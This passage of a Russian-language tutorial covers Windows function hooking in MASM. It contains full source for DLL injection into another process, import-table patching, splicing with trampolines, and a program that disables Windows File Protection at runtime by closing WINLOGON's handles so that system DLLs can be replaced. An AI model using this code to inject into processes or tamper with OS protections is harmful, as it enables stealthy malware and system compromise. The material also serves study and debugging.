Еще один важный момент заключается в параметре, который передается потоку и соответственно функции LoadLibrary. Мы должны передать адрес строки с именем функции. Адрес этот должен обязательно находиться в адресном пространстве целевого процесса, т.е. мы должны скопировать эту строку туда. Выделения виртуальной памяти в удаленном процессе производиться c помощью функции KERNEL32.DLL!VirtualAllocEx. Осуществлять запись и чтение памяти чужого процесса можно с помощью функций KERNEL32.DLL!WriteProcessMemory и KERNEL32.DLL!ReadProcessMemory соответственно. Освободить выделенный регион можно с помощью функции KERNEL32.DLL!VirtualFreeEx.

Вот код программы с помощью, которой внедряется DLL:

Пример:

		;=======================================================
		;		П Р О Г Р А М М А  			     
		; Внедрение DLL в адресное пространство чужого процесса 	     
		; Дата: 01.07.2005					 	     
		; Автор: Bill Prisoner / TPOC 					     
		;=======================================================

;===============================================================================
;			Options and Includes					       
;===============================================================================
.386
option casemap:none
.model flat,stdcall
include \tools\masm32\include\windows.inc
includelib \tools\masm32\lib\kernel32.lib
include \tools\masm32\include\kernel32.inc
include \tools\masm32\include\user32.inc
includelib \tools\masm32\lib\user32.lib
include \tools\masm32\include\advapi32.inc
includelib \tools\masm32\lib\advapi32.lib
;===============================================================================

;===============================================================================
;			Initialized Data Section
;===============================================================================
.data										                
	lib db "c:\\dll.dll",0;имя DLL, которую внедряем в чужой процесс			        
	dwSize equ $-lib;Размер строки с именем DLL 
	kernelName db "kernel32.dll",0;Имя Kernel32.dll
	loadlibraryName db "LoadLibraryA",0;Имя функции LoadLibraryA
	_LoadLibrary dd 0;Адрес функции LoadLibrary				
	ParameterForLoadLibrary dd 0;Адрес строки с именем DLL в чужом процессе	
	ThreadId dd 0;Идентификатор треда					
	PID dd 1700;Идентификатор целевого процесса				
;===============================================================================

;===============================================================================
;			Uninitialized Data Section					       
;===============================================================================
.data?										
	hProcess dd ?								
;===============================================================================

;===============================================================================
;				Code Section					
;===============================================================================
.code
start:
    ;Открываем процесс куда будем внедрять DLL
	invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or \
	PROCESS_VM_OPERATION,0,PID 
	mov hProcess,eax
	;Получаем описатель модуля Kernel32.dll
	invoke GetModuleHandle,offset kernelName
	;Получаем адрес функции LoadLibrary
	invoke GetProcAddress,eax,offset loadlibraryName
	mov _LoadLibrary,eax
	;Выделяем память в удаленном процессе
	invoke VirtualAllocEx,hProcess,NULL,dwSize,MEM_RESERVE or MEM_COMMIT, \
	       PAGE_READWRITE
	mov ParameterForLoadLibrary,eax
	;Запись строки с именем DLL в АП чужого процесса
	invoke WriteProcessMemory,hProcess,eax,offset lib,dwSize,NULL
    ;Создаем удаленный поток, который вызывает LoadLibrary, 
	;тем самым внедряем DLL в адресное пространство чужого процесса.  
	invoke CreateRemoteThread,hProcess,NULL,NULL,_LoadLibrary, \
	       ParameterForLoadLibrary,NULL,offset ThreadId
	invoke ExitProcess,0
end start
;===============================================================================
;				End Program
;===============================================================================

Пример Закончен.

После внедрения DLL вызывается DllMain с параметром DLL_PROCESS_ATTACH. Именно при обработке этого параметра мы устанавливаем перехватчик.

Способы перехвата функций

Правка таблицы импорта

При вызове Win32-приложением функции экспортируемой из другого модуля, например

CALL MessageBoxA,0

компилятор генерирует код следующего вида:

CALL X, где X – адрес переходника вида jmp dword ptr [Y], где Y – адрес адреса функции в IAT(Import Address Table), которую заполняет при загрузке модуля загрузчик. При особой настройке компилятора вызов может быть таким CALL DWORD PTR [Y]. Суть метода перехвата заключается в том, чтобы править значения, которые находятся по адресу Y, т.е. правка значений в таблице адресов импорта. Сначала мы сохраняем реальный адрес перехватываемой функции. Потом проходимся по IAT и правим этот реальный адрес на адрес нашего обработчика. Но править придется IAT всех модулей в данный момент загруженный в АП процесса, а также всех динамически подгружаемых. В первом случае необходимо решить задачу получения списка всех модулей загруженных в АП процесса. Во втором случае мы должны перехватывать функции LoadLibraryA, ; LoadLibraryW, LoadLibraryExA, LoadLibraryExW. Также необходимо сделать так, чтобы функция GetProcAddress возвращала адрес нашего перехватчика, если вдруг жертва захочет получить реальный адрес функции, которую мы перехватываем. Это можно делать двумя способами – перехватом GetProcAddress или правкой таблицы экспорта модуля, где находиться перехватываемая функция. У этого способа есть один очень большой недостаток – функции, которые не содержатся в таблице импорта, перехватываться не будут, если только мы не будем осуществлять перехват прямо при начальной загрузке процесса. Обычно перехват делается для процесса, который уже работает. Например, программа получает адрес функции с помощью GetProcAddress, а потом мы уже делаем перехват. Тогда программа минует наш обработчик и вызовет правильную функцию.

Сначала я опишу процедуру, которая правит IAT указанного одним из параметров модуля. Я назвал эту процедуру EdiIATLocal. Например, мы перехватываем функцию, адрес которой X. Тогда процедура EditIATLocal  анализирует таблицу импорта указанного модуля и если она встречает там адрес X, то функция меняет X на адрес нашего обработчика, который также передается как параметр функции.

Пример:

;===============================================================================;
;Процедура EditIATLocal							
;Описание:
;Перехват вызовов функций редактированием IAT в одном модуле
;Вход: Address адрес внутри файла в памяти
;	ModName - указатель на имя модуля, IAT которого мы будем править. Регистр 
;   не важен.
;	Orig - адрес функции, которую перехватываем
;	New - адрес нашего обработчика
;	ModHandle - описатель модуля, где находиться функция для перехвата. 
;   Например, описатель KERNEL32.DLL
;Выход: 1 - перехватили, 0 - не перехватили
;===============================================================================;
EditIATLocal proc ModName:DWORD, Orig:DWORD, New:DWORD, ModHandle:DWORD
LOCAL OldProtect:DWORD
;Получаем адрес таблицы директорий
	mov eax,ModHandle
	assume eax:ptr IMAGE_DOS_HEADER
	add eax,[eax].e_lfanew
	add eax,4
	add eax,sizeof IMAGE_FILE_HEADER	
	mov edi,eax
	assume edi:ptr IMAGE_OPTIONAL_HEADER
	lea edi,[edi].DataDirectory
	mov eax,edi
;Получаем адрес таблицы импорта
	assume eax:ptr IMAGE_DATA_DIRECTORY
	lea eax,[eax+(sizeof IMAGE_DATA_DIRECTORY)*IMAGE_DIRECTORY_ENTRY_IMPORT]
	.IF dword ptr [eax]==0 
		move ax,FALSE
		ret;Нет таблицы импорта
	.ENDIF
	mov esi,ModHandle
	add esi,dword ptr [eax];В esi - адрес таблицы импорта
	assume esi:PTR IMAGE_IMPORT_DESCRIPTOR
NextDLL:;очередная запись в таблице импорта
	.IF [esi].Name1==NULL;Конец таблицы импорта?
		mov eax,FALSE
		ret
	.ENDIF 
	mov ecx,[esi].Name1
	add ecx,ModHandle
	invoke lstrcmpi,ModName,ecx;тот ли это модуль?
	.IF EAX!=0
		add esi,sizeof IMAGE_IMPORT_DESCRIPTOR
		jmp NextDLL
	.ENDIF
;Если дошли до сюда, то нашли имя модуля
	mov edi,ModHandle
	add edi,[esi].FirstThunk;В EDI - IAT
	assume edi:PTR IMAGE_THUNK_DATA
NextFunction:;перебираем все импортируемые функции
	.IF [edi].u1.Function==0;IAT закончилась
		add esi,sizeof IMAGE_IMPORT_DESCRIPTOR
		jmp NextDLL
	.ENDIF
	mov eax,[edi].u1.Function
	.IF Orig==eax;Нашли!!!
	;Разрешим запись на нужную страницу
		invoke VirtualProtect,edi,4,PAGE_EXECUTE_READWRITE,ADDR OldProtect
		call GetCurrentProcess
		mov ecx,eax
		lea eax,New
		;Сменим адрес функции на адрес обработчика
		invoke WriteProcessMemory,ecx,edi,eax,4,NULL
		;Воостановим прежние аттрибуты
		invoke VirtualProtect,edi,4,OldProtect,ADDR OldProtect
		mov eax,TRUE
		ret
	.ENDIF	
	add edi,sizeof IMAGE_THUNK_DATA
	jmp NextFunction
EditIATLocal endp
;===============================================================================;

Пример Закончен.

А процедура EditIATGlobal правит IAT всех модулей процесса, в котором она вызывается. Мы вызываем ее в процедуре DllMain DLL, которую мы будет внедрять в адресное пространство процесса-жертвы. Она просто перечисляет все модули в адресном пространстве текущего процесса с помощью ToolHelp-функций, а потом последовательно вызывает для каждого модуля процедуру EditIATLocal, которую я описал чуть выше.

Пример:

;===============================================================================;
;Процедура EditIATGlobal							
;Описание:
;Перехват вызовов функций редактированием IAT во всех модулях процесса
;Вход: Address адрес внутри файла в памяти
;	ModName - указатель на имя модуля, IAT которого мы будем править. 
;   Регистр не важен.
;	Orig - адрес функции, которую перехватываем
;	New - адрес нашего обработчика
;Выход: нет
;===============================================================================;
EditIATGlobal proc ModName:DWORD, Orig:DWORD, New:DWORD
LOCAL Current:DWORD
LOCAL hSnap:DWORD
	push offset NextMod
	call GetBase
	mov Current,eax;Получили хэндл своего модуля
	mov ecx,eax
	invoke CreateToolhelp32Snapshot,TH32CS_SNAPMODULE,NULL
	mov hSnap,eax
	mov ModEntry.dwSize,sizeof MODULEENTRY32
	invoke Module32First,hSnap,offset ModEntry
NextMod:
	mov eax,Current
	.IF eax!=ModEntry.hModule;В своем модуле не будем перехватывать!
		push ModEntry.hModule
		push New
		push Orig
		push ModName
		call EditIATLocal;Перехватываем в этом модуле
	.ENDIF
	invoke Module32Next,hSnap,offset ModEntry;Следующий модуль
	.IF eax!=0 
		jmp NextMod
	.ENDIF
	invoke CloseHandle,hSnap
	mov eax,1
	ret
EditIATGlobal endp
;===============================================================================;

Пример Закончен.

В функции DLLMain DLL, которую мы впоследствии будем внедрять во все процессы мы должны обрабатывать reason следующим образом:

Пример:

DllEntry proc hInstance:HINSTANCE, reason:DWORD, reserved1:DWORD
	push esi
	push edi
	push ebx
	push ebp
	.if reason==DLL_PROCESS_ATTACH
	    ;Получаем описатель модуля, где нах-ся перехватываемая функция
		invoke GetModuleHandle,offset nt
		invoke GetProcAddress,eax,offset Exitstr;ExitStr - имя перехватываемой функции
		push offset start
		push eax
		push offset nt
		;Устанавливаем перехват функции Exitstr из модуля nt.
		call EditIATGlobal
	.elseif reason==DLL_PROCESS_DETACH

	.elseif reason==DLL_THREAD_ATTACH

	.else        ; DLL_THREAD_DETACH

	.endif
	pop ebp
	pop ebx
	pop edi
	pop esi
	mov  eax,TRUE
	ret
DllEntry Endp

Пример Закончен.

Простой пример – перехват MessageBox

Я приложил к статье исходный код DLL, которая перехватывает функции USER32.DLL!MessageBoxA и USER32.DLL!MessageBoxW в целевом процессе. Файлы исходного кода этой DLL находиться в папке HookMessBox. Чтобы посмотреть как работает перехват этих функций Вы можете использовать для внедрения мою программу DLL Injector. Например, попробуйте внедрить эту DLL в блокнот, напечатать чего-нибудь и потом нажать на крестик закрытия окна.

Перехват LoadLibrary

Чтобы распространить перехват на новые подгружаемые DLL, необходимо перехватывать KERNEL32.DLL!LoadLibrary. Используя функцию EditIATLocal Вы сможете с легкостью перехватить вызов KERNEL32.DLL!LoadLibrary таким образом, чтобы после загрузки новой DLL она сразу же обрабатывалась.

Сплайсинг

                Сначала определяется адрес функции, которую надо перехватить. Первый несколько байт данной функции заменяются на переход к нашему обработчику. Теперь, если будет вызвана перехватываемая функция, то произойдет переход на наш обработчик. Если нужно вызвать оригинальную функцию, то необходимо восстановить исходные байты. С помощью этого метода перехватываются абсолютно все вызовы из любых модулей, и при этом не надо делать ничего дополнительного. Этот метод хорош во всех отношениях, если бы не одно НО…Люди, которые понимают что-нибудь в многозадачности сразу учуяли что-то не-то. Представьте, что какой-то поток правит начало функции джапмом, но вдруг ОС отнимает у него управление и передает его другому потоку. А тот обращается к недоконца подправленной функции. В итоге произойдет ошибка и приложение, скорее всего, слетит. Есть решение этой проблемы, - останавливать все потоки, когда начало функции правиться и когда вызывается ее перехватчик (ведь перехватчик тоже правит начало функции, чтобы вызывать ее оригинал). Все эти вещи реализуются очень просто. Давайте рассмотрим функции, которые приостанавливают и запускают потоки, соответственно. Нашей задачей опять будет перехват функций USER32.DLL!MessageBoxA.

Пример:

;Приостановка всех потоков, кроме вызывающего
SuspendThreads proc
	invoke GetModuleHandle,offset kern
	invoke GetProcAddress,eax,offset OpenThreadStr
	mov _OpenThread,eax
	invoke GetCurrentThreadId
	mov CurrThread,eax
	invoke GetCurrentProcessId
	mov CurrProcess,eax

	invoke CreateToolhelp32Snapshot,TH32CS_SNAPTHREAD,0
	.if eax==-1
		xor eax,eax
		ret
	.endif
	mov hSnap,eax
	mov Thread.dwSize,sizeof THREADENTRY32
	invoke Thread32First,hSnap,offset Thread
	.if eax==0
		xor eax,eax
		ret
	.endif
NextThread:
	mov eax,CurrThread
	mov edx,CurrProcess
	.if (Thread.th32ThreadID!=eax)&&(Thread.th32OwnerProcessID==edx)
		push Thread.th32ThreadID
		push NULL
		push THREAD_SUSPEND_RESUME
		call _OpenThread
		mov ThreadHandle,eax
		.if ThreadHandle>0
			invoke SuspendThread,ThreadHandle
			invoke CloseHandle,ThreadHandle
		.endif
	.endif
	invoke Thread32Next,hSnap,offset Thread
	.if eax!=0
		jmp NextThread
	.endif 
	invoke CloseHandle,hSnap
	ret
SuspendThreads endp

Пример Закончен.

Пример:

;Возобновление всех потоков
ResumeThreads proc
	invoke GetModuleHandle,offset kern
	invoke GetProcAddress,eax,offset OpenThreadStr
	mov _OpenThread,eax
	invoke GetCurrentThreadId
	mov CurrThread,eax
	invoke GetCurrentProcessId
	mov CurrProcess,eax

	invoke CreateToolhelp32Snapshot,TH32CS_SNAPTHREAD,0
	.if eax==-1
		xor eax,eax
		ret
	.endif
	mov hSnap,eax
	mov Thread.dwSize,sizeof THREADENTRY32
	invoke Thread32First,hSnap,offset Thread
	.if eax==0
		xor eax,eax
		ret
	.endif
NextThread:
	mov eax,CurrThread
	mov edx,CurrProcess
	.if (Thread.th32ThreadID!=eax)&&(Thread.th32OwnerProcessID==edx)
		push Thread.th32ThreadID
		push NULL
		push THREAD_SUSPEND_RESUME
		call _OpenThread
		mov ThreadHandle,eax
		.if ThreadHandle>0
			invoke ResumeThread,ThreadHandle
			invoke CloseHandle,ThreadHandle
		.endif
	.endif
	invoke Thread32Next,hSnap,offset Thread
	.if eax!=0
		jmp NextThread
	.endif
	invoke CloseHandle,hSnap
	ret
ResumeThreads endp

Пример Закончен.

В процедуру ResumeThreads не учитывается, что поток можем остановить не мы. Но это допущение для большинства приложений не является критическим.

Простой пример – перехват MessageBox

После того, как мы нашли реальный адрес функции MessageBoxA, мы сохраняет старые 6 байт по некоторому адресу. Далее мы записываем по этому адресу переход на наш обработчик. Код перехода выглядит так:

Пример:

code1 label byte
	db 68h ;ОПКОД команды PUSH
	Hooker1 dd 0;ОПЕРАНД команды PUSH
	db 0c3h;ОПКОД RET
size_code1 equ $-code1

Пример Закончен.

А вот функция, которая как раз делает то, к чему мы стремились – осуществляет перехват:

Пример:

SetHook proc NameFunc:dword,NameModul:dword 
	invoke GetModuleHandle,NameModul
	invoke GetProcAddress,eax,NameFunc
	mov RealAddr1,eax;сохраняем адрес перехватываемой функции
	invoke ReadProcessMemory,-1,RealAddr1,offset Old_Code1,size_code1,0
	mov Hooker1,offset Hooker
	invoke WriteProcessMemory,-1,RealAddr1,offset code1,size_code1,0
	ret
SetHook endp

Пример Закончен.

Также нужен код, который позволяет выполнить оригинальную функцию, т.е. временно убрать перехват:

Пример:

TrueMessageBoxA proc x:dword,x1:dword,x2:dword,x3:dword
	call SuspendThreads
	;восстанавливаем старые байты
	invoke WriteProcessMemory,-1,RealAddr1,offset Old_Code1,size_code1,0
	push x3
	push x2
	push x1
	push x
	call MessageBoxA;вызываем оригинальную функцию MessageBoxA
	push eax
	invoke WriteProcessMemory,-1,RealAddr1,offset code1,size_code1,0;восстанавливаем перехват
	call ResumeThreads
	pop eax
	ret
TrueMessageBoxA endp 

Пример Закончен.

А вот и сам перехватчик. Т.е. код на который мы прыгаем, при вызове перехватываемой функции.

Пример:

Hooker proc x:dword,x1:dword,x2:dword,x3:dword
	push x3
	push offset TitleMessage
	push offset TextMessage
	push x
	call TrueMessageBoxA
	ret
Hooker endp

Пример Закончен.

Сплайсинг с сохранением оригинальной функции

Когда мы устанавливаем перехват с помощью сплайсинга, мы затираем первые несколько байт оригинальной функции. Если мы используем относительный JMP, то мы затираем первые 5 байт. Перед затиркой мы сохраняем эти 5 байт.  Когда нам нужно вызвать оригинальную функцию, мы записываем сохраненные байты по адресу точки входа функции. Вот здесь есть проблеме связанная с реентерабельностью. Мы можем избавиться от этой проблемы. Мы должны всего лишь сохранить первые инструкции, размер которых больше или равно 5 байтам  (в случае, если мы затираем начало функции относительным JMP). Тогда если мы хотим вызвать оригинальную функцию, мы вызываем инструкции по адресу, по которому мы сохраняли затертые инструкции. После выполнения этих затертых инструкций мы выполняем инструкцию JMP на адрес в перехватываемой функции, где начинается следующая инструкция. Таким образом, логика работы оригинальной функции совершенно не меняется. При этом мы можем ее вызывать без особых функций. Самая главная здесь сложность – это как определить начало следующей инструкции, т.е. здесь нам необходим дизассемблер длин. Ему на вход подается адрес, а выход – это количество байт, занимаемых инструкцией по входному адресу.

Чтобы понять смысл этого метода рассмотрим простой пример.  Во-первых, определим место, куда мы будем копировать инструкции, которые могут быть затерты. Мы сделаем это так:

old_func db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, \
            090h, 090h, 090h, 090h, 090h, 090h, 090h, 0e9h, 000h, \
			000h, 000h, 000h

Мы будем сохранять инструкции по адресу old_func. Мы оставляем место для некоторого количества инструкций. Мы заполняем оставшееся место в буфере 090h, т.к. эта инструкция ничего не делает, в результате её выполнения просто инкрементируется регистр EIP. В конце буфера мы ставим относительный JMP, адрес, куда мы будем переходить в этой инструкции, мы потом должны заполнить. При вызове оригинальной функции мы вызываем ее так: CALL old_func

                Допустим, мы перехватываем функцию Sleep.

До перехвата она выглядит так:

KERNEL32.Sleep:
77E86779: 6A00 PUSH 0
77E8677B: FF742408 PUSH DWORD PTR [ESP+8]
77E8677F: E803000000 CALL Kernel32.SleepEx
77E86784: C20400 RET 00004H

С помощью дизассемблера длин мы вычисляем  последовательно длины команд. Если с начала функции сумма длин команд больше или равно 5, то сохраняем обработанные инструкции по адресу old_func. Для функции Sleep мы сохраняем 6 байт, т.е. два PUSH’а. Также мы запоминаем адрес 77E8677F – после выполнения двух PUSH’ей мы джампим на этот адрес.

После установки перехвата функция Sleep примет следующий вид:

KERNEL32.Sleep:
77E86779: E937A95788 JMP 0004010B5H; 0004010B5H - адрес обработчика
77E8677E: 08	?
77E8677F: E803000000 CALL Kernel32.SleepEx
77E86784: C20400 RET 00004H

А код old_func будет таким:

old_func:
00403027: 6A00 PUSH 0
00403029: FF742408 PUSH DOWRD PTR [ESP+8]
0040302D: 90 NOP
0040302E: 90 NOP
0040302F: 90 NOP
00403030: 90 NOP
00403031: 90 NOP
00403032: 90 NOP
00403033: 90 NOP
00403034: 90 NOP
00403035: 90 NOP
00403036: 90 NOP
00403037: E94337A877 JMP KERNEL32.77E8677F

Таким образом, если мы хотим вызывать оригинальную функцию мы вызываем old_func – это и будет оригинальной функцией. old_func называется функцией-трамплином (trampoline function).

                Этот метод используется в продукте для перехвата функций, который называется Detours.

                Описанный способ не может работать если функция занимает меньше 5 байт. Эту проблему можно решить с помощью перехода не командой JMP, а командой INT 3(наш перехватчик в итоге будет обработчиком необработанных исключений). Команда INT 3 занимает 1 байт. Но производительность этого способа оставляет желать лучшего.

Перехват правкой системных библиотек на жестком диске

                Можно разделить способы перехвата на перехват до запуска модуля и перехват после запуска модуля. При перехвате до запуска модуля, используется техника правки системных библиотек на жестком диске. Для этого необходимо проделать следующие шаги:

  1. Отключить защиту файлов ОС Windows (Windows File Protection).
  2. Переименовать файл системной библиотеки, которую мы заменяем.
  3. Создать правленую библиотеку и скопировать ее с оригинальным названием в системный каталог Windows, где она и была.
  4. После перезагрузки перехват будет глобален для всех процессов и для этого не нужно ничего более.

Чтобы осуществить все перечисленные шаги необходимо знать, что такое Windows File Protection и как его отключать без перезагрузки системы.

Windows File Protection

                Windows File Protection – это сервис ОС, который защищает системные файлы ОС от изменения, повреждения или удаления. Впервые WFP появился в ОС Windows Millennium Edition. До появления WFP любая программа могла заменить системную библиотеку, что многие программы и делали при инсталляции. Из-за этого другие программы переставали работать и при этом могли забрать систему с собой в мир иной :) Такое положение вещей назвали “DLL Hell”. В Windows Millennium Edition все системные SYS, DLL, EXE, and OCX защищены. В дополнение TrueType шрифты Micross.ttf, Tahoma.ttf, и Tahomabd.ttf также защищены. Если происходит изменение, модификация или удаление защищенного файла, то система восстанавливает его из кэша DLL, который по умолчанию находиться в папке:

%SYSTEMROOT%\system32\dllcache

Этот путь можно изменить, изменив значение параметра реестра:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\SFCDllCacheDir

Чтобы узнать, что был заменен какой-то из файлов, Windows просматривает каталоги безопасности и сверяет цифровые подписи. Если подпись какого-файла не соответствует подписи в каталоге безопасности, то Windows берет файлы из кэша.  Потом Windows ищет эти файлы в сети, если была произведена установка оп сети. Если данный файл отсутствует в кэше и в сети, то Windows требует вставить оригинальный диск ОС. Можно включить принудительную проверку всех файлов ОС Windows с помощью утилиты sfc, которая доступна в стандартной комплектации ОС. Также при обнаружении исправленного или удаленного системного файл WFP записывает событие в лог событий, который можно посмотреть с помощью оснастки Event Log (%windir%\system32\eventvwr.msc). Следующие механизмы позволяют изменять системные файлы, не смотря на Windows File Protection:

  • установка Windows Service Pack с использованием Update.exe
  • установка хотфиксов с использованием Hotfix.exe
  • Обновление ОС с использованием Winnt32.exe
  • Windows Update

Чтобы без шума добраться до системных файлов и отредактировать их мы должны отключить WFP. Есть несколько способов сделать это. Например, с помощью редактирования реестра или с помощью правки файла sfc.dll или sfc_os.dll. Но эти способы теряют свою актуальность, потому что они либо работали с какой-то конкретной ОС, либо требуют перезагрузки и/или входа в безопасный режим ОС.  Но есть способ отключения WFP прямо при работе. Давайте его и рассмотрим.

Отключение Windows File Protection на лету

WFP держится на двух DLL – SFC.DLL, SFC_OS.DLL. А код, который использует эти DLL находиться в WINLOGON.EXE. Модуль SFC_OS.DLL экспортирует функцию, которая экспортируется не по имени, а по ординалу и имеет ординал 1. Эта функция запускает систему защиты файлов. Если покопаться в коде этой функции, то можно увидеть, что она вызывает функцию NTDLL.DLL!NtNotifyChangeDirectoryFile. Это недокументированная функция, но на ней основывается другая функция, которая называется KERNEL32.DLL!FindFirstChangeNotification. Эта функция возвращает описатель, который можно использовать в функциях ожидания, например KERNEL32.DLL!WaitForSingleObject. Т.е. WFP устанавливает систему нотификации на системные папки. Если файлы в папке изменяются, то WFP сразу на это реагирует. Все что нам требуется чтобы отключить WFP – это закрыть все описатели, которые были возвращены NTDLL.DLL!NtNotifyChangeDirectoryFile. Эти описатели типа «файл». Если мы захотим отключить WFP, когда система работает, и если мы не хотим писать код, можно просто запустить утилиту Process Explorer или подобную ей, чтобы закрыть хэндлы объектов «файл». Например,

File Object            –             C:\WINDOWS\SYSTEM32\.

Закрывая этот описатель, мы можем изменять файлы в папке C:\WINDOWS\SYSTEM32 и Windows ничего не скажет. При реализации кода процедуры отключения WFP необходимо знать, как получить хэндлы открытых описателей. Это делается с помощью функции NtQuerySystemInformation. В MSDN она документирована, но не полностью и того, что нам нужно там нет. Приходиться использовать справочник Гарри Нэббета “Windows NT 2000 Native API Reference”.

                Чтобы отключить таким образом WFP, необходимы отладочные привилегии, т.к. нам приходиться открывать процесс WINLOGON.EXE. А для того чтобы получить отладочные привилегии, необходимы привилегии администратора. Из этого следует, что этот способ будет работать только под учетной записью администратора или используя имперсонацию.

Для начала получаем идентификатор процесса WINLOGON.EXE. Он нужен для того, чтобы отличать хэндлы процесса WINLOGON.EXE от всех остальных. Чтобы получить идентификатор по имени модуля, используем функцию GetPIDbyName:

Пример:

;===============================================================================;
;			Процесс по имени
;===============================================================================;
GetPIDbyName proc Str1:DWORD
LOCAL pe:PROCESSENTRY32
LOCAL hSnap:DWORD
	invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0
	mov hSnap,eax
	mov pe.dwSize,sizeof pe
	invoke Process32First,hSnap,addr pe
	.if eax==0
		ret
	.endif
next_process:
	invoke Process32Next,hSnap,addr pe
	.if eax==0
		ret
	.endif
	invoke lstrcmpi,addr pe.szExeFile,Str1
	.if eax==0
		mov eax,pe.th32ProcessID
		ret
	.endif
	jmp next_process
GetPIDbyName endp
;===============================================================================; 

Пример Закончен.

В функции GetPIDbyName используем Toolhelp-функции для перечисления процессов в системе. Мы сравниваем имя полученного модуля со статической строкой “WINLOGON.EXE”. Сравнение идет с помощью API-функции lstrcmpi. Эта функция сравнивает строки не учитывая во внимание регистр символов.

                Далее нам необходимо получить список всех описателей процесса WINLOGON.EXE. Но в ОС Windows нет функции, которая позволила бы получить описатели для конкретного процесса. Однако, как Вы уже знаете описатели можно получить с помощью Native функции NtQuerySystemInformation. Часть описания этой функции доступно в MSDN, но этого нам не достаточно. Более того там написано неправильно!!! :( Посмотрите на прототип этой функции:

NTSTATUS NtQuerySystemInformation(
  SYSTEM_INFORMATION_CLASS SystemInformationClass,
  PVOID SystemInformation,
  ULONG SystemInformationLength,
  PULONG ReturnLength
); 

Давайте прочтем описание переменной ReturnLength:

«ReturnLength [out, optional] Optional pointer to a location where the function writes the actual size of the information requested. If that size is less than or equal to the SystemInformationLength parameter, the function copies the information into the SystemInformation buffer; otherwise, it returns an NTSTATUS error code and returns in ReturnLength the size of buffer required to receive the requested information.»

Вот здесь и есть ошибка в документации. На самом деле, если размер буфера меньше нужного, то параметр ReturnLength не заполняется. Так как размер буфера не перманентен, то нам приходиться инкрементно перебирать размеры. Если функция возвращает STATUS_INFO_LENGTH_MISMATCH, то размер буфера недостаточен. Вот код который находит нужный размер буфера:

Пример:

;===============================================================================;
;		Определям размер буфера для получения списка хэндлов		
;===============================================================================;
	push offset SizeBuffer
	push 0
	push 0
	push 16;SystemHandleInformation
	call _NtQuerySystemInformation
	.if eax!=STATUS_INFO_LENGTH_MISMATCH
		jmp end_calc_size
	.endif
next_calc_size:
	add SizeBuffer,01000h;Увеличиваем размер буфера на страницу
	.if pSystemHandleInfo!=0
		invoke VirtualFree,pSystemHandleInfo, 0, MEM_RELEASE
	.endif
	invoke VirtualAlloc,NULL, SizeBuffer, MEM_COMMIT, PAGE_READWRITE
	mov pSystemHandleInfo,eax
	push offset uBuff
	push SizeBuffer
	push pSystemHandleInfo
	push 16
	call _NtQuerySystemInformation
	.if eax==STATUS_INFO_LENGTH_MISMATCH
		jmp next_calc_size
	.endif
end_calc_size:
;===============================================================================;

Пример Закончен.

После выполнения вышеприведенного кода, в pSystemHandleInfo содержится указатель на буфер. В буфере содержится количество описателей. А потом массив структур типа HandleInfo. Количество структур в этом буфере ровно соответствует первому двойному слову буфера. Эта структура определена следующим образом:

Handle_Info struct
	Pid DWORD ?
	ObjectType WORD ?
	HandleValue WORD ?
	ObjectPointer DWORD ?
	AccessMask DWORD ?	
Handle_Info ends

Pid мы используем, чтобы узнать какому процессу принадлежит описатель. Также мы будем использовать параметр HandleValue для дублирования хэндлов.

                После того как мы узнали, что данный описатель принадлежит процессу WINLOGON.EXE мы должны узнать имя объекта соответствующего данному описателю. Нас интересует имя \Device\HarddiskVolume1\WINDOWS\system32. А если точнее его часть WINDOWS\SYSTEM32. Закрывая эти описатели, мы отключаем Windows File Protection. Чтобы получить имя объекта по его описателю, мы вызываем функцию NtQueryObject. Эта Native функция полностью недокументированна. По крайней мере в MSDN VisualStudio .NET 2003 ее описание отсутствует. Но я знаю, что ее описание есть в DDK. Как бы то ни было, я взял прототип функции в книге Гарри Нэббета.

                Мы вызываем функцию NtQueryObject, чтобы получить имя объекта соответствующее описателю. Далее мы сравниваем UNICODE-строку «WINDOWS\SYSTEM32»или «WINNT\SYSTEM32» с полученным именем объекта. Сравниваем мы с конца, идя в начало. Сравнение идет с помощью функции CompareStringsBackwards. В ней используются цепочечные операции пересылки слов. Длина сравнения зависит от длины строки «WINDOWS\SYSTEM32» или «WINNT\SYSTEM32». А вот и функция CompareStringsBackwards:

Пример:

;===============================================================================;
;			Сравнить строки назад
;===============================================================================;
CompareStringBackwards proc pStr1:dword,pStr2:dword
LOCAL Len1:DWORD
LOCAL Len2:DWORD
	push esi
	push edi
	invoke lstrlenW,pStr1
	mov Len1,eax
	invoke lstrlenW,pStr2
	mov Len2,eax
	mov eax,Len1
	.if eax>Len2
		mov eax,0
		ret
	.endif
	mov edx,Len1
	add edx,Len1
	mov edi,pStr1
	add edi,edx

	mov edx,Len2
	add edx,Len2
	mov esi,pStr2
	add esi,edx

	mov ecx,Len1
	inc ecx
	std
	repe cmpsw
	add esi,2
	add edi,2
	xor eax,eax
	xor edx,edx
	mov ax,word ptr [esi]
	mov dx,word ptr [edi]
	.if (ecx==0)&&(eax==edx)
		mov eax,1
		pop edi
		pop esi
		ret
	.else
		mov eax,0
		pop edi
		pop esi
		ret
	.endif
CompareStringBackwards endp
;===============================================================================;

Пример Закончен.

Если строки равны и CompareStringsBackwards возвращает единицу, то мы переоткрываем описатель чтобы открыть его с правами DUPLICATE_CLOSE_SOURCE or DUPLICATE_SAME_ACCESS. Флаг DUPLICATE_CLOSE_SOURCE указывает, что функция DuplicateHandle закрывает указанный описатель в указанном процессе.

А теперь посмотрите полные код программки, которая отключает Windows File Protection во время работы ОС. После перезагрузки WFP опять будет включена.

Пример:

;===============================================================================;
;			    П Р О Г Р А М М А					
;		Отключение Windows File Protection на лету			
;===============================================================================;

;===============================================================================;
;			Options and Includes					
;===============================================================================;
.386										
option casemap:none								
.model flat,stdcall								
include \tools\masm32\include\windows.inc					
includelib \tools\masm32\lib\kernel32.lib					
include \tools\masm32\include\kernel32.inc					
include \tools\masm32\include\user32.inc					
includelib \tools\masm32\lib\user32.lib						
include \tools\masm32\include\advapi32.inc					
includelib \tools\masm32\lib\advapi32.lib					
;===============================================================================;

Handle_Info struct
	Pid DWORD ?
	ObjectType WORD ?
	HandleValue WORD ?
	ObjectPointer DWORD ?
	AccessMask DWORD ?	
Handle_Info ends

UNICODE_STRING STRUCT
	woLength		WORD	?		; len of string in bytes (not chars)
